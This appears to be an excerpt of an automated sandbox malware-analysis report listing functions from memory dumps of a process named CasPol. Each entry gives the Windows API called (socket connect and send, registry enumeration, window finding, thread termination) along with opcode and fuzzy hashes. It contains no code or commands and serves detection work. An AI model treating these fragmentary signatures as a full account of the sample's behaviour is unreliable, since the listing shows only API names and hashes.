API String ID: 3899507212-0
Opcode ID: 154dcebf9ecbcee6d311203e8158680362bbe8a8ac03879740b6be984b195269
Instruction ID: 44e117e7f3f07fda9647acfdfe3a599aa8fe717cceafb6c39c6d4a74d0456bc7
Opcode Fuzzy Hash: 154dcebf9ecbcee6d311203e8158680362bbe8a8ac03879740b6be984b195269
Instruction Fuzzy Hash: F2117CB2A003409FEB10CF26D885B66FBE8EF44620F09846ADD49CB342D275E449CA76

Uniqueness

Uniqueness Score: -1.00%

Function 1FA8B5B7 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1FA8B5F8

Memory Dump Source

Source File: 0000000B.00000002.6782028853.000000001FA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa80000_CasPol.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e1840fc240cd2e5475cc597aa36132d990d44b74015792463d05276c7ef46d8b
Instruction ID: 57caeeefea417af83348bf280c6ac7e95bbbf620cdf1590729e5feec3307ff4c
Opcode Fuzzy Hash: e1840fc240cd2e5475cc597aa36132d990d44b74015792463d05276c7ef46d8b
Instruction Fuzzy Hash: 83113A30E10219DFCB14DFB9C498A9EBFB2FF49341F248429E405AB290DB79A841CF95

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B07DE Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B0831

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 6eba94cdb0e264fd50330eba7e9cfbb4914282e8afac10ed53bbfcb41605aba0
Instruction ID: 1e68c052efc66411601c1aced3e9db3870573d31db83bb9b8df911edd5658187
Opcode Fuzzy Hash: 6eba94cdb0e264fd50330eba7e9cfbb4914282e8afac10ed53bbfcb41605aba0
Instruction Fuzzy Hash: C001C071904304AFE720DB55DC85F56FB98DF84B20F0880AEEE489F291D375A508CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B36C2 Relevance: 1.5, APIs: 1, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 1F9B370E

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: 366831559ed166486ed9d80cd99a31c5b17eb5db5b902f4ab948f3d0abacbc5b
Instruction ID: 3e1825769a976c84e9f214d3cbc76216330cf9efe0b249760a2bd3cd9b63c02b
Opcode Fuzzy Hash: 366831559ed166486ed9d80cd99a31c5b17eb5db5b902f4ab948f3d0abacbc5b
Instruction Fuzzy Hash: 1C119A75500240AFEB21CF65C884F52FBE4EF08710F0885AEDE498B6A2D331F418CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FA74877 Relevance: 1.5, Strings: 1, Instructions: 298COMMON

Download Yara Rule

Strings

:@Mr, xrefs: 1FA74A9C

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: :@Mr
API String ID: 0-898919233
Opcode ID: 60011cb2f313c1031e8d35b4a087b8134406d3b45457b917bd65ce6544521581
Instruction ID: 0d35e6647cb5127e347ecd4a7859fe047042a6bd6b7e420d06a4b8c6384d7ea2
Opcode Fuzzy Hash: 60011cb2f313c1031e8d35b4a087b8134406d3b45457b917bd65ce6544521581
Instruction Fuzzy Hash: BFC13B74B00215DFDB44EBB9C484AADBBF6AF88311F158529E805E7394DF39AD42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAF32 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

K32GetModuleBaseNameW.KERNEL32(?,00000EA4,?,?), ref: 1CFDAF82

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: BaseModuleName
String ID:
API String ID: 595626670-0
Opcode ID: e21aad8c763f600185e5e2f341df3aaff222693c303d1578999a54dae7fc838a
Instruction ID: f842a639488b2428f55f5b634a15684663f86a6739e92312b96f79d485759427
Opcode Fuzzy Hash: e21aad8c763f600185e5e2f341df3aaff222693c303d1578999a54dae7fc838a
Instruction Fuzzy Hash: 24015EB6900200ABD310DF16DD46B66FBA8EF89A20F14855AED089B741D271B915CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B378A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1F9B37CE

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cdcbcccc5f3f45ef0143538ac31f28a9c2b4adfa973bf7781930a1687a97dca1
Instruction ID: 1bfb5675dfb0b03027a0062bd24619fcebc0ed1f4d90c72305cba1bcc463a98e
Opcode Fuzzy Hash: cdcbcccc5f3f45ef0143538ac31f28a9c2b4adfa973bf7781930a1687a97dca1
Instruction Fuzzy Hash: DC018E71400740AFDB21DF65D884F02FBE4EF48710F08859EDE494A651C372A414DB62

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B38EA Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

FindWindowW.USER32(?,?), ref: 1F9B392F

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 7db561d03564565db8b609a6ecccc233b82b54132248e25feb6c8ddb9f5591ec
Instruction ID: 7e1a85bbcf2564c6c435c1837d460538fc6ca14400d26ee8d6ed718b37a640b0
Opcode Fuzzy Hash: 7db561d03564565db8b609a6ecccc233b82b54132248e25feb6c8ddb9f5591ec
Instruction Fuzzy Hash: 55012171900645DFE750DF1AD885F56FBD8EF44620F08C09DDE498B782E375E544CA61

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B188A Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

RasEnumConnectionsW.RASAPI32(?,00000EA4,?,?), ref: 1F9B18DA

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ConnectionsEnum
String ID:
API String ID: 3832085198-0
Opcode ID: dec7678a04f0fa6271e5cefd43fb7f91ffcef4bff1d407229727fcbfb628ab08
Instruction ID: c075f9e2ef3b0797edd2dbb7977b1a569fae2319052d7a91216f627240447f9e
Opcode Fuzzy Hash: dec7678a04f0fa6271e5cefd43fb7f91ffcef4bff1d407229727fcbfb628ab08
Instruction Fuzzy Hash: 90014FB6900200ABD214DF16DD46B66FBA8FF89A20F14815AED085B741D271F915CBEA

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1606 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1F9B1638

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 9f41dc4dcc096d4a8573eeaa56a576c9e37a5d6faa57029d07acf1ef735d48a2
Instruction ID: 3b708d322ab1c061200255c0891dcd7182b04cd0f874093b40ee68cac10937cd
Opcode Fuzzy Hash: 9f41dc4dcc096d4a8573eeaa56a576c9e37a5d6faa57029d07acf1ef735d48a2
Instruction Fuzzy Hash: 1501BCB5A00244DFEB109F25D884B56FBA8DF40720F08C4AEDD488F392D375A848CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1A4E Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 1F9B1A8C

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 027265c42ba707815ff9c5f28d334a9daeeddf6442c53d1025cad65d07962c8b
Instruction ID: 19fc2b9ccac02ae83c418addd1c7786abfb54e459f0ca5a889570f50dc753da9
Opcode Fuzzy Hash: 027265c42ba707815ff9c5f28d334a9daeeddf6442c53d1025cad65d07962c8b
Instruction Fuzzy Hash: A701CC719002409FEB21CF51D884B06FBE4EF04720F0885AEDE484F292C371B458CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1366 Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.KERNEL32(?,00000EA4,?,?), ref: 1F9B13B6

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: a7cb7bbd57279d86bd933c699edcdde965f28b021677c96b148b7bc387c30277
Instruction ID: 54a30342610d0f4d591984004edf7e167e5909261395bca1a1406d9c22b4745b
Opcode Fuzzy Hash: a7cb7bbd57279d86bd933c699edcdde965f28b021677c96b148b7bc387c30277
Instruction Fuzzy Hash: 63018FB2900200ABD210DF16CC42B26FBA8FF89A20F14815AED084B741D371F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA76E Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,?,?), ref: 1CFDA7BE

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 7f0ee6667a005216a2af0df2227b171ac2abe6a6c5a529c75927f2eb89810fb6
Instruction ID: 4a09adcaaf05044279097ae8f3f82efd05627e31978cf73dc38c5135044773ab
Opcode Fuzzy Hash: 7f0ee6667a005216a2af0df2227b171ac2abe6a6c5a529c75927f2eb89810fb6
Instruction Fuzzy Hash: 55018FB2900200ABD210CF16CC42B26FBA8FF89A20F14815AED084B741D371F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA346 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1CFDA378

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 13dbed41be1bd5131cdb09065fc1b63a1842b9b6b32c8d6304cfbf9c774ff3b1
Instruction ID: 71876368a82a9c40f008e5520ab47fbc912d6b1f43ebfce287510348c82e8c29
Opcode Fuzzy Hash: 13dbed41be1bd5131cdb09065fc1b63a1842b9b6b32c8d6304cfbf9c774ff3b1
Instruction Fuzzy Hash: F1018F75A003409FEB10CF66D885766FB94DF44620F1CC4AADD498F796D376E808CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDB396 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

MkParseDisplayName.OLE32(?,00000EA4,?,?), ref: 1CFDB3E6

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: DisplayNameParse
String ID:
API String ID: 3580041360-0
Opcode ID: 3e5b235f6e78b1a0c5d054c2dacd99e2fc58c26f003ca1ed82f896d2a777283a
Instruction ID: f64dccc40306fbea300f293f7bd0bd6f1bbe663f7df60b59ed338ddbeb363479
Opcode Fuzzy Hash: 3e5b235f6e78b1a0c5d054c2dacd99e2fc58c26f003ca1ed82f896d2a777283a
Instruction Fuzzy Hash: F6018FB2900200ABD210DF16CC42B26FBA8FF89A20F14815AED084B741D271F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAB86 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1CFDABB8

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: c5d3888c00ec9264229b54728df5a36584139cce57074679144b4a86c018cd02
Instruction ID: efcfb0bcd52eb8a740cb2bdbb3687c0f2c93697578256d42526c40e6de987678
Opcode Fuzzy Hash: c5d3888c00ec9264229b54728df5a36584139cce57074679144b4a86c018cd02
Instruction Fuzzy Hash: 7301BC75A003409FEB00CF2AD885752FBA4EF40620F0CC4AADD498F742C276E849CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA09A Relevance: 1.5, APIs: 1, Instructions: 42networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,?), ref: 1CFDA0D5

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 3081c5226177c8c5c5a47e0b80cadc6246be6a512f06938df8697aa618c72b4b
Instruction ID: 957a7937bdedfc04a9f7a1981a2cf41e0199fe43ecff480c3ed3c7bbf6e5a713
Opcode Fuzzy Hash: 3081c5226177c8c5c5a47e0b80cadc6246be6a512f06938df8697aa618c72b4b
Instruction Fuzzy Hash: 30019E755003409FEB10CF56D885B56FBA0EF44720F08C5AADE488B652D376A418DBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B071A Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1F9B074C

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 37894204aa8e3f1b26907ba76c630d0a2ce2ada39a1db91d03bcb7afdf9a7b7a
Instruction ID: 0b402daed7592afe6e87c8b36d886369619b8063d4f34d48470624f95c0b8fb2
Opcode Fuzzy Hash: 37894204aa8e3f1b26907ba76c630d0a2ce2ada39a1db91d03bcb7afdf9a7b7a
Instruction Fuzzy Hash: 71018B75A002409FEB119F25D885B56FB94EF44620F08C0AEDD098B7A2D275A408CEA6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDB50A Relevance: 1.5, APIs: 1, Instructions: 39comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(?), ref: 1CFDB53C

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d86be06ae231af9d1c568c0e8ee5277267e1e1460b044d6734f07fd4d3373c8d
Instruction ID: d42a3fad2f30053e3a792134ce4ab1eb41f3a777e5b637905193f130016b9bae
Opcode Fuzzy Hash: d86be06ae231af9d1c568c0e8ee5277267e1e1460b044d6734f07fd4d3373c8d
Instruction Fuzzy Hash: 1E0178759143449FEB10CF16D884B66FBA0EF44720F08C4AADD488F756D275A408CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA4B6 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,8EDCC860,00000000,?,?,?,?,?,?,?,?,73073C68), ref: 1CFDA4E8

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 73a6188bc64953b8f7f6d1a6986543107f846d3e2d0de30db118f0880b2df2dd
Instruction ID: 3b0ee2b4cd65c5cffb58f438cc9572667a50ce330865ca56c7b8ce7ed69dc8f3
Opcode Fuzzy Hash: 73a6188bc64953b8f7f6d1a6986543107f846d3e2d0de30db118f0880b2df2dd
Instruction Fuzzy Hash: F6F0AF759003449FEB10CF16D889722FBA0EF45621F0CC0AADD494F352D37AE859CABA

Uniqueness

Uniqueness Score: -1.00%

Function 00B1C086 Relevance: 1.5, APIs: 1, Instructions: 9threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 00B1C090

Memory Dump Source

Source File: 0000000B.00000002.6715912873.0000000000B00000.00000040.00000400.00020000.00000000.sdmp, Offset: 00B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_b00000_CasPol.jbxd

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: fc152a20c6adaba2fc4915ac4d386b942ebc528d6c11c21d3121f8ec068c0ff8
Instruction ID: bb3a13793e9450c7cd823878344516d7874af80a6308b396a39a4cd870fb552f
Opcode Fuzzy Hash: fc152a20c6adaba2fc4915ac4d386b942ebc528d6c11c21d3121f8ec068c0ff8
Instruction Fuzzy Hash: B9B09231781B0657DE303A4C4A2A3CA2761DF1A9F6F4246A5DC4A77506872248474400

Uniqueness

Uniqueness Score: -1.00%

Function 1FA7621D Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

:@Mr, xrefs: 1FA76285

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: :@Mr
API String ID: 0-898919233
Opcode ID: 0ce0b8b3c3d84544be94144fc54e72c65879bc032b6d055b0294be39657e24d8
Instruction ID: 6b5af7bbba01c90dee01033d10840a2455099d66c0fc5a001ddaee3f2d06b564
Opcode Fuzzy Hash: 0ce0b8b3c3d84544be94144fc54e72c65879bc032b6d055b0294be39657e24d8
Instruction Fuzzy Hash: 83511C75F00224CFDF84ABB8C4986AD7BF6AF88301B15446AE50ADB3A4DF359D42CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1FA76F80 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

dq, xrefs: 1FA76FDC

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: dq
API String ID: 0-4057445327
Opcode ID: 74c7b8c888e27f5e820517a3d96094b04f480e69656ec48da1c2f650ac92a812
Instruction ID: 45e45be5f30d673571b187fe18730480790209ba8459b35c2ef6642aaf937f0e
Opcode Fuzzy Hash: 74c7b8c888e27f5e820517a3d96094b04f480e69656ec48da1c2f650ac92a812
Instruction Fuzzy Hash: 1F31A774B002149FDB04DB79C858F6E7AE6AFC8700F2581B9E506EB3E0DE75AC058B95

Uniqueness

Uniqueness Score: -1.00%

Function 1FA76F7F Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

dq, xrefs: 1FA76FDC

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID: dq
API String ID: 0-4057445327
Opcode ID: 845c3c7c3d587b4b859ef9ac4ef207f5ee153c2c27886e0163a8a2b28047f3d0
Instruction ID: 182e6d411c982fc94e19a5effcc28808a3ee40e318c5ec17a0b044b818b4ba53
Opcode Fuzzy Hash: 845c3c7c3d587b4b859ef9ac4ef207f5ee153c2c27886e0163a8a2b28047f3d0
Instruction Fuzzy Hash: 9E317274B002149FDB04DB79C858F6E7AE6AFC8700F2581B9E506EB3A0DE75AC058B95

Uniqueness

Uniqueness Score: -1.00%

Function 1FA74280 Relevance: .5, Instructions: 457COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4405dba0476a3fbe670e14afa6ca28440f2f22a418de75c5651fb92f1971f9e8
Instruction ID: fa76e63c2ab33173c7ed6f0f364b2372c0220238bcc3d7601dd6be200b5a7930
Opcode Fuzzy Hash: 4405dba0476a3fbe670e14afa6ca28440f2f22a418de75c5651fb92f1971f9e8
Instruction Fuzzy Hash: 8FF16A34B00245CFDB44EB78C594AAEB7F2AF84214F158569D809DB394EF3AED06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA757D8 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79fcdb5bc0806c3587244185ba21687953786545f6e476886bcb9f66f04e3937
Instruction ID: 685493806a8f07218953226f5626cd2e29f016f4d1259a8c2da6a3ae0e7db25d
Opcode Fuzzy Hash: 79fcdb5bc0806c3587244185ba21687953786545f6e476886bcb9f66f04e3937
Instruction Fuzzy Hash: 06B17934B013148FDB98AB78C5547AEB7E3AFC8200F1544B9D50ADB394EE399D46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1FA73D98 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b067c42dd5ddc0097d541c89ecd64612fa5405e191d9dd8b0e3a9afefbbecce
Instruction ID: d10ba1dfd40f1ac2e77994b91680896ef5eb04a6613017b69cd7d982622fc318
Opcode Fuzzy Hash: 6b067c42dd5ddc0097d541c89ecd64612fa5405e191d9dd8b0e3a9afefbbecce
Instruction Fuzzy Hash: A4A17D35F00315CBDB55EBB9C5546AEB7F2AF88204B218529C805EB384EF39AD06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70FE8 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf0bf1a9c3d131f02d0eb238ff0ce1a4547cc1e8a75ac67f3882f4985057261
Instruction ID: ca560beb54c19fc6a7ba6befe89dedf7a34d061bc463f889aecbd41322d479ae
Opcode Fuzzy Hash: cdf0bf1a9c3d131f02d0eb238ff0ce1a4547cc1e8a75ac67f3882f4985057261
Instruction Fuzzy Hash: 21B12874E003599FDB44DBB4C594B9DBBF2BF84310F218629D805EB294DB39B942CB84

Uniqueness

Uniqueness Score: -1.00%

Function 1FA75028 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772a2995a69cf5ef7818edfccd6bdd42a63c2df62bad3cb74cf3309c7e23119c
Instruction ID: cebd14945e7c232a29c78409cc01d00e5265335225db34311efd1b1e02999652
Opcode Fuzzy Hash: 772a2995a69cf5ef7818edfccd6bdd42a63c2df62bad3cb74cf3309c7e23119c
Instruction Fuzzy Hash: 35816B35B003558FDB45EBB9C5546AEBBE6AFC8300F218529C905DF384EF79A806CB85

Uniqueness

Uniqueness Score: -1.00%

Function 1FA73568 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67bd0b4d1c7654ee1d7905678606041736f132aa1a305633c022956cdcbc4601
Instruction ID: 8c73ff9acf4b947ce6519ee44a1d47b46ebc4a86aadd033ea3a982cb15fa2f8e
Opcode Fuzzy Hash: 67bd0b4d1c7654ee1d7905678606041736f132aa1a305633c022956cdcbc4601
Instruction Fuzzy Hash: E2610371B0A3818FE742977888597AE7FF18B86600F1681A7D544CF282EE3DDD06C752

Uniqueness

Uniqueness Score: -1.00%

Function 1FA73D8A Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: add9dac8032c03f6d397b6dea749f0a2bec474e9d258313883795d50bca07922
Instruction ID: cf2ce5a0987f5c8b56dd23a43e0e4429ff3d24cf77b6f6447c610a686e0b5cb6
Opcode Fuzzy Hash: add9dac8032c03f6d397b6dea749f0a2bec474e9d258313883795d50bca07922
Instruction Fuzzy Hash: 1E51A275E00718CBDB45EFB8C45469EBBF2AF88300F158529C805EB244EF39AD06CB85

Uniqueness

Uniqueness Score: -1.00%

Function 1FA75019 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1bb4c44abc108b2f6d4e681b094902fe03098eb07783d38183cbaf0d4af5b8f
Instruction ID: bb0b0e45b1838c9db3e7b989fe369915277c7f278dbe77f53aaed1a936ebc154
Opcode Fuzzy Hash: e1bb4c44abc108b2f6d4e681b094902fe03098eb07783d38183cbaf0d4af5b8f
Instruction Fuzzy Hash: C451AF75E007588FCB45EFB9C4146AEBBF2AF88300F118529C505EB294EF79A806CBC5

Uniqueness

